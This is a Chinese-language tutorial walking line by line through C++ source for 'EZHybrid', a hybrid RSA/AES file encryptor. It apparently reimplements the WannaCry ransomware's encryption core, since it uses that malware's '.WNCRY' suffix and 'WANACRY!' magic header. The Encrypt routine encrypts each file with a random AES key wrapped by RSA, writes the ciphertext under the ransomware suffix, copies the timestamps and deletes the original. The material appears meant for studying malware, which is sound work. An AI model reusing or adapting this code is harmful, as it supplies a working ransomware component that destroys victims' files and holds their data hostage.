---
title : 14_EZHybrid
---
# EZHybrid
by WL, Liu
Date : 2021-10-22
---
## 壹、簡介
混合式加密程式碼的實現,在標頭檔引入RSA,在程式引入AES進行加密。
## 標頭檔
```cpp=
#pragma once
#include "EZRSA.h"
#define EZH_SRCBUFFERSIZE 0x10000
#define EZH_IOBUFFERSIZE 0x100000
#define EZH_SUFFIX_CIPHER _T(".WNCRY")
#define EZH_SUFFIX_TEMP _T(".WNCRYT")
#define EZH_MAGIC "WANACRY!"
#define EZH_ENCRYPT 4
```
* 第7行,加密檔案之副檔名。
* 第8行,加密暫存檔之副檔名。
* 第11行,加密模式。
```cpp=13
class EZHybrid
{
PEZRSA m_pEncRSA;
PEZRSA m_pDecRSA;
PUCHAR m_InBuffer;
PUCHAR m_OutBuffer;
```
* 第15行,RSA加密物件。
* 第16行,RSA解密物件。
* 第17行,緩衝記憶體輸入。
* 第18行,緩衝記憶體輸出。
```cpp=19
public:
EZHybrid();
~EZHybrid();
BOOL GenKey();
BOOL ImportPublicKey(PUCHAR, ULONG);
BOOL ImportPrivateKey(PUCHAR, ULONG);
BOOL ImportPublicKey(LPCTSTR);
BOOL ImportPrivateKey(LPCTSTR);
BOOL Encrypt(LPCTSTR);
BOOL Decrypt(LPCTSTR);
};
typedef EZHybrid* PEZHybrid;
```
* 第22行,亂數產生金鑰。
* 第23行,匯入公鑰。
* 第24行,匯入私鑰。
* 第25行,匯入公鑰檔。
* 第26行,匯入私鑰檔。
* 第27行,檔案加密。
* 第28行,檔案解密。
## 主程式
```cpp=
#include "../config.h"
#include "../Common/hexdump.h"
#include "../Common/ezfile.h"
#include "EZAES.h"
#include "EZHybrid.h"
static BOOL GenRandom(
PUCHAR pbBuffer,
ULONG cbBuffer)
{
NTSTATUS status = BCryptGenRandom(
NULL,
pbBuffer,
cbBuffer,
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
if (!NT_SUCCESS(status))
{
DEBUG("BCryptGenRandom returns 0x%x\n",
status);
return FALSE;
}
return TRUE;
}
```
* 第7行,記憶體中產生亂數。
* 第8行,記憶體地址。
* 第9行,記憶體大小。
* 第11行到第15行,指定記憶體大小並產生亂數。
### 開始加密
```cpp=25
EZHybrid::EZHybrid()
{
m_pEncRSA = NULL;
m_pDecRSA = NULL;
m_InBuffer = (PUCHAR)HeapAlloc(
GetProcessHeap(),
0,
EZH_IOBUFFERSIZE);
m_OutBuffer = (PUCHAR)HeapAlloc(
GetProcessHeap(),
0,
EZH_IOBUFFERSIZE);
return;
}
```
* 第29到第32行,輸入緩衝區。
* 第33到第36行,輸出緩衝區。
### 結束加密
```cpp=40
EZHybrid::~EZHybrid()
{
if (m_pEncRSA) {
delete m_pEncRSA;
m_pEncRSA = NULL;
}
if (m_pDecRSA) {
delete m_pDecRSA;
m_pDecRSA = NULL;
}
if (m_InBuffer) {
HeapFree(GetProcessHeap(), 0, m_InBuffer);
m_InBuffer = NULL;
}
if (m_OutBuffer) {
HeapFree(GetProcessHeap(), 0, m_OutBuffer);
m_OutBuffer = NULL;
}
return;
}
```
* 第43行,刪除RSA加密物件。
* 第44行,參數歸零。
* 第47行,刪除RSA解密物件。
* 第48行,參數歸零。
* 第51行,釋放緩衝區。
* 第52行,參數歸零。
* 第55行,釋放緩衝區。
* 第56行,參數歸零。
### 產生RSA加密物件
```cpp=61
BOOL EZHybrid::GenKey()
{
if (!m_pEncRSA) {
m_pEncRSA = new EZRSA();
if (!m_pEncRSA) {
return FALSE;
}
}
return m_pEncRSA->GenKey();
}
```
* 第64行,產生新的RSA加密物件。
* 第69行,產生新的金鑰。
### 匯入公鑰
```cpp=72
BOOL EZHybrid::ImportPublicKey(
PUCHAR pbPublicBlob,
ULONG cbPublicBlob)
{
if (!m_pEncRSA) {
m_pEncRSA = new EZRSA();
if (!m_pEncRSA) {
return FALSE;
}
}
BOOL bResult = m_pEncRSA->Import(
BCRYPT_RSAPUBLIC_BLOB,
pbPublicBlob,
cbPublicBlob);
return bResult;
}
```
* 第77行,產生新的RSA加密物件。
* 第82行,匯入公鑰。
### 匯入私鑰
```cpp=89
BOOL EZHybrid::ImportPrivateKey(
PUCHAR pbPrivateBlob,
ULONG cbPrivateBlob)
{
if (!m_pDecRSA) {
m_pDecRSA = new EZRSA();
if (!m_pDecRSA) {
return FALSE;
}
}
BOOL bResult = m_pDecRSA->Import(
BCRYPT_RSAPRIVATE_BLOB,
pbPrivateBlob,
cbPrivateBlob);
return bResult;
}
```
* 第94行,產生新的RSA解密物件。
* 第99行,匯入私鑰。
### 匯入公鑰
```cpp=105
BOOL EZHybrid::ImportPublicKey(
LPCTSTR PublicBlobFile)
{
if (!m_pEncRSA) {
m_pEncRSA = new EZRSA();
if (!m_pEncRSA) {
return FALSE;
}
}
BOOL bResult = m_pEncRSA->Import(
BCRYPT_RSAPUBLIC_BLOB,
PublicBlobFile);
return bResult;
}
```
* 第109行,產生新的RSA加密物件。
* 第114行,匯入公鑰。
### 匯入私鑰
```cpp=120
BOOL EZHybrid::ImportPrivateKey(
LPCTSTR PrivateBlobFile)
{
if (!m_pDecRSA) {
m_pDecRSA = new EZRSA();
if (!m_pDecRSA) {
return FALSE;
}
}
BOOL bResult = m_pDecRSA->Import(
BCRYPT_RSAPRIVATE_BLOB,
PrivateBlobFile);
DEBUG("ImportPrivateKey: return %d\n",
bResult);
return bResult;
}
```
* 第124行,產生新的RSA解密物件。
* 第129行,匯入公鑰。
### AES加密
```cpp=139
BOOL EZHybrid::Encrypt(
LPCTSTR pFileName)
{
UCHAR abMagic[8];
ULONG cbCipherKey;
UCHAR abCipherKey[0x200];
ULONG EncryptOP = EZH_ENCRYPT;
ULONG nCryptType = 0;
LARGE_INTEGER ddwFileSize;
PEZAES pAES = NULL;
UCHAR abKey[16];
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hWrite = INVALID_HANDLE_VALUE;
ULONG cbRead = NULL, cbWrite = NULL;
FILETIME CreationTime;
FILETIME LastAccessTime;
FILETIME LastWriteTime;
BOOL bResult = TRUE;
PUCHAR pbInBlock = m_InBuffer;
ULONG cbInBlock = 0;
PUCHAR pbOutBlock = m_InBuffer;
ULONG cbOutBlock = 0;
TCHAR pTempFile[MAX_PATH];
TCHAR pTarget[MAX_PATH];
```
* 第142到第163行,加密所需參數。
* 第143行,已加密的AES金鑰大小。
* 第144行,以加密的AES金鑰。
* 第145行,加密模式。
* 第147行,檔案大小。
* 第148行,AES加密物件。
* 第149行,未加密之金鑰。
* 第150行,檔案讀取之handle。
* 第151行,檔案寫入之hamdle。
* 第152行,讀取及寫入之大小,都先設為NULL。
* 第153行,檔案生成時間。
* 第154行,檔案存取時間。
* 第155行,檔案更新時間。
* 第157行,輸入緩衝區。
* 第158行,輸入緩衝區大小。
* 第159行,輸出緩衝區。
* 第160行,輸出緩衝區大小。
* 第161行,暫存檔檔名。
* 第162行,輸出檔檔名。
```cpp=163
if (!m_pEncRSA) {
DEBUG("m_EncRSA is NULL, please call ImportPublicKey()\n");
return FALSE;
}
DEBUG("Encrypt %s\n", pFileName);
_tcscpy_s(pTarget, MAX_PATH, pFileName);
LPTSTR pSuffix = (LPTSTR)_tcsrchr(pTarget, _T('.'));
if (!pSuffix) {
_tcscat_s(pTarget, MAX_PATH,
EZH_SUFFIX_CIPHER);
}
else {
if (!_tcsicmp(pSuffix,
EZH_SUFFIX_CIPHER) ||
!_tcsicmp(pSuffix,
EZH_SUFFIX_TEMP)) {
return TRUE;
}
else {
_tcscat_s(pSuffix,
MAX_PATH - _tcslen(pFileName),
EZH_SUFFIX_CIPHER);
}
}
// }
```
* 第168行,取得檔名。
* 第169行,取得副檔名("."之後的字串)。
* 第175行,檢查是否為加密檔。
* 第182到第184行,若不是,加密檔副檔名。
```cpp=188
if (!(hFile = CreateFile(
pFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)))
{
DEBUG("Open %s for read error\n",
pFileName);
return FALSE;
}
DEBUG("Open %s for read\n", pFileName);
ddwFileSize.QuadPart = 0;
GetFileTime(
hFile,
&CreationTime,
&LastAccessTime,
&LastWriteTime);
```
* 第188行,開啟欲加密的檔案。
* 第202行,ddwFileSize屬於LARGE_INTEGER的型別,LARGE_INTEGER的結構如下:
```cpp
typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;
```
   DUMMYSTRUCTNAME由2部分组成。前面是低位的32位整数LowPart。後面就是高位的整数。u亦是如此。LARGE_INTEGER等價於LONGLONG的时候,也就是將此64位整数赋值。
* 第203行,取得檔案生成、存取及更新時間。
```cpp=208
if (ReadFile_DEBUG(
hFile,
abMagic,
sizeof(abMagic),
&cbRead,
0) &&
!memcmp(abMagic, EZH_MAGIC, sizeof(abMagic)) &&
ReadFile_DEBUG(
hFile,
&cbCipherKey,
sizeof(cbCipherKey),
&cbRead,
0) &&
cbCipherKey <= sizeof(abCipherKey) &&
cbCipherKey == 0x100 &&
ReadFile_DEBUG(
hFile,
abCipherKey,
0x100,
&cbRead,
0) &&
ReadFile_DEBUG(
hFile,
&nCryptType,
sizeof(nCryptType),
&cbRead,
0) &&
ReadFile_DEBUG(
hFile,
&ddwFileSize.QuadPart,
sizeof(ddwFileSize),
&cbRead,
0) &&
nCryptType == EncryptOP) {
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
DEBUG("Exit\n");
return TRUE;
}
```
* 第208到第213行,讀取檔案標頭,並儲存於第152所設定之參數,以便表示錯誤原因。
* 第214行,檢測是否為magic。
* 第215到第220行,讀取已加密金鑰之大小,並儲存於第152所設定之參數,以便表示錯誤原因。
* 第223到第228行,讀取已加密金鑰,並儲存於第152所設定之參數,以便表示錯誤原因。
* 第229到第234行,讀取加密型態,並儲存於第152所設定之參數,以便表示錯誤原因。
* 第235到第240行,讀取檔案大小,並儲存於第152所設定之參數,以便表示錯誤原因。
* 第241行,確定加密模式與第229到第234行讀取之相同。
* 第242到第245行,前述讀取皆成功且形態正確,表示已成功加密檔案,故無需加密可直接離開。否則,繼續下面程式碼進行加密。
```cpp=247
DEBUG("Write\n");
GetFileSizeEx(hFile, &ddwFileSize);
SetFilePointer(hFile, 0, 0, FILE_BEGIN);
DEBUG("FileSize: %lld\n", ddwFileSize.QuadPart);
_stprintf_s(pTempFile, MAX_PATH,
_T("%s%s"), pFileName, EZH_SUFFIX_TEMP);
if ((hWrite = CreateFile(
pTempFile,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL)) == INVALID_HANDLE_VALUE) {
DEBUG("Open temp file %s error\n",
pTempFile);
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
DEBUG("Open %s for write error\n", pTempFile);
return FALSE;
}
GenRandom(abKey, sizeof(abKey));
m_pEncRSA->Encrypt(
abKey,
sizeof(abKey),
abCipherKey,
sizeof(abCipherKey),
&cbCipherKey);
pAES = new EZAES();
pAES->GenKey(abKey, sizeof(abKey));
if (!WriteFile(hWrite,
EZH_MAGIC, 8, &cbWrite, 0) ||
!WriteFile(hWrite,
&cbCipherKey, sizeof(cbCipherKey), &cbWrite, 0) ||
!WriteFile(hWrite,
abCipherKey, cbCipherKey, &cbWrite, 0) ||
!WriteFile(hWrite,
&EncryptOP, sizeof(EncryptOP), &cbWrite, 0) ||
!WriteFile(hWrite,
&ddwFileSize.QuadPart,
sizeof(ddwFileSize.QuadPart),
&cbWrite,
0)) {
DEBUG("Write header error %s\n",
pTempFile);
goto Error_Exit;
}
```
* 第248行,取得檔案大小。
* 第249行,設置至檔案起始位置。
* 第251及第252行,產生暫存檔之檔名,使用第8行所定義之副檔名。
* 第253到第266行,創造一暫存檔,並將handle回傳至第150行定義之參數。
* 第267行,以亂數產生AES密碼。
* 第268到第273行,以RSA對該密碼進行加密。
* 第274行,開啟新空間,以使用AES對檔案加密。
* 第275行,使用第267行之密碼,產生AES金鑰。
* 第276及第277行,寫出Magic。
* 第278及第279行,寫出已加密金鑰大小。
* 第280及第281行,寫出已加密金鑰。
* 第282及第283行,寫出加密模式。
* 第284到第288行,寫出檔案大小。
* 第291行,Error_Exit寫在第359到第369行,若發生錯誤時,關閉檔案回傳FALSE並離開。後面亦有出現,會將其忽略,到第359到第369行再詳細說明。
```cpp=293
DEBUG("EncryptOP %p\n", &EncryptOP);
hexdump((PUCHAR)&EncryptOP, sizeof(EncryptOP));
ULONG cbData;
LARGE_INTEGER cbSize;
cbSize.QuadPart = ddwFileSize.QuadPart;
while (cbSize.QuadPart > 0) {
cbInBlock = cbSize.QuadPart < EZH_IOBUFFERSIZE ?
cbSize.LowPart : EZH_IOBUFFERSIZE;
if (!ReadFile(
hFile,
pbInBlock,
cbInBlock,
&cbRead,
0) || cbRead != cbInBlock) {
DEBUG("Read Block error %s\n",
pFileName);
goto Error_Exit;
}
cbOutBlock = ((cbInBlock + 15) >> 4) << 4;
if (cbOutBlock > cbInBlock) {
ZeroMemory(pbInBlock + cbInBlock,
cbOutBlock - cbInBlock);
}
pAES->Encrypt(
pbInBlock,
cbOutBlock,
pbOutBlock,
EZH_IOBUFFERSIZE,
&cbData);
if (!WriteFile(
hWrite,
pbOutBlock,
cbOutBlock,
&cbWrite,
0) || cbWrite != cbOutBlock) {
DEBUG("Write Block error %s\n",
pTempFile);
goto Error_Exit;
}
cbSize.QuadPart -= cbInBlock;
}
// }
SetFileTime(hWrite,
&CreationTime,
&LastAccessTime,
&LastWriteTime);
// if (EncryptOP == DO_ENCRYPT) {
CloseHandle(hWrite);
CloseHandle(hFile);
hWrite = INVALID_HANDLE_VALUE;
hFile = INVALID_HANDLE_VALUE;
bResult = MoveFile(pTempFile, pTarget);
if (bResult) {
SetFileAttributes(pTarget,
FILE_ATTRIBUTE_NORMAL);
DeleteFile(pFileName);
}
else {
DeleteFile(pTempFile);
}
if (pAES) {
delete pAES;
pAES = NULL;
}
return bResult;
Error_Exit:
CloseHandle(hWrite);
hWrite = INVALID_HANDLE_VALUE;
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
if (pAES) {
delete pAES;
pAES = NULL;
}
return FALSE;
}
```
### AES解密
```cpp=373
BOOL EZHybrid::Decrypt(LPCTSTR pFileName)
{
TCHAR pTempFile[MAX_PATH];
TCHAR pTarget[MAX_PATH];
UCHAR abMagic[8];
ULONG cbCipherKey;
UCHAR abCipherKey[0x200];
ULONG nCryptType = 0;
LARGE_INTEGER ddwFileSize;
UCHAR abKey[0x200];
ULONG cbKey;
PEZAES pAES = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hWrite = INVALID_HANDLE_VALUE;
ULONG cbRead, cbWrite;
FILETIME CreationTime;
FILETIME LastAccessTime;
FILETIME LastWriteTime;
PUCHAR pbInBlock = m_InBuffer;
ULONG cbInBlock = 0;
PUCHAR pbOutBlock = m_OutBuffer;
ULONG cbOutBlock = 0;
BOOL bResult = TRUE;
if (!m_pDecRSA) {
DEBUG("m_DecRSA is NULL, please call ImportPrivateKey()\n");
return FALSE;
}
DEBUG("Decrypt %s\n", pFileName);
if ((hFile = CreateFile(
pFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)) == INVALID_HANDLE_VALUE) {
return FALSE;
}
GetFileTime(
hFile,
&CreationTime,
&LastAccessTime,
&LastWriteTime);
if (ReadFile(hFile, abMagic,
sizeof(abMagic), &cbRead, 0) &&
!memcmp(abMagic, EZH_MAGIC,
sizeof(abMagic)) &&
ReadFile(hFile, &cbCipherKey,
sizeof(cbCipherKey), &cbRead, 0) &&
cbCipherKey <= sizeof(abCipherKey) &&
cbCipherKey == 0x100 &&
ReadFile(hFile, abCipherKey,
0x100, &cbRead, 0) &&
ReadFile(hFile, &nCryptType,
sizeof(nCryptType), &cbRead, 0) &&
nCryptType == EZH_ENCRYPT &&
ReadFile(hFile, &ddwFileSize.QuadPart,
sizeof(ddwFileSize.QuadPart), &cbRead, 0)) {
_tcscpy_s(pTarget, MAX_PATH, pFileName);
LPTSTR pSuffix = _tcsrchr(pTarget, _T('.'));
DEBUG("magic:\n");
hexdump(abMagic, sizeof(abMagic));
if (pSuffix) {
if (!_tcsicmp(pSuffix, EZH_SUFFIX_CIPHER)) {
*pSuffix = _T('\0');
}
else {
_stprintf_s(pTarget, MAX_PATH, _T("%s%s"),
pFileName, _T(".decoded"));
}
}
_stprintf_s(pTempFile, MAX_PATH,
_T("%s%s"), pFileName, EZH_SUFFIX_TEMP);
if ((hWrite = CreateFile(
pTempFile,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL))
== INVALID_HANDLE_VALUE) {
DEBUG("CreateFile %s fails\n",
pTarget);
goto Error_Exit;
}
LARGE_INTEGER cbSize;
pAES = new EZAES();
m_pDecRSA->Decrypt(
abCipherKey,
cbCipherKey,
abKey,
sizeof(abKey),
&cbKey);
if (cbKey != 16) {
_tprintf(_T("error: cbKey=%d not 16\n"), cbKey);
goto Error_Exit;
}
pAES->GenKey(abKey, cbKey);
ULONG cbData;
for (cbSize.QuadPart = ddwFileSize.QuadPart;
cbSize.QuadPart > 0;
cbSize.QuadPart -= cbOutBlock) {
cbOutBlock =
cbSize.QuadPart < EZH_IOBUFFERSIZE ?
cbSize.LowPart : EZH_IOBUFFERSIZE;
cbInBlock = ((cbOutBlock + 15) >> 4) << 4;
if (!ReadFile(
hFile,
pbInBlock,
cbInBlock,
&cbRead, 0) || cbRead != cbInBlock) {
goto Error_Exit;
}
pAES->Decrypt(
pbInBlock,
cbInBlock,
pbOutBlock,
EZH_IOBUFFERSIZE,
&cbData);
if (!WriteFile(
hWrite,
pbOutBlock,
cbOutBlock,
&cbWrite,
0) || cbWrite != cbOutBlock) {
DEBUG("Write block error %s\n",
pTarget);
goto Error_Exit;
}
}
SetFileTime(hWrite,
&CreationTime,
&LastAccessTime,
&LastWriteTime);
// }
}
else {
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
return TRUE;
}
CloseHandle(hWrite);
CloseHandle(hFile);
hWrite = INVALID_HANDLE_VALUE;
hFile = INVALID_HANDLE_VALUE;
bResult = MoveFileEx(
pTempFile,
pTarget,
MOVEFILE_REPLACE_EXISTING);
if (bResult) {
DeleteFile(pFileName);
}
if (pAES) {
delete pAES;
pAES = NULL;
}
return bResult;
Error_Exit:
CloseHandle(hWrite);
hWrite = INVALID_HANDLE_VALUE;
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
if (pAES) {
delete pAES;
pAES = NULL;
}
return FALSE;
}
```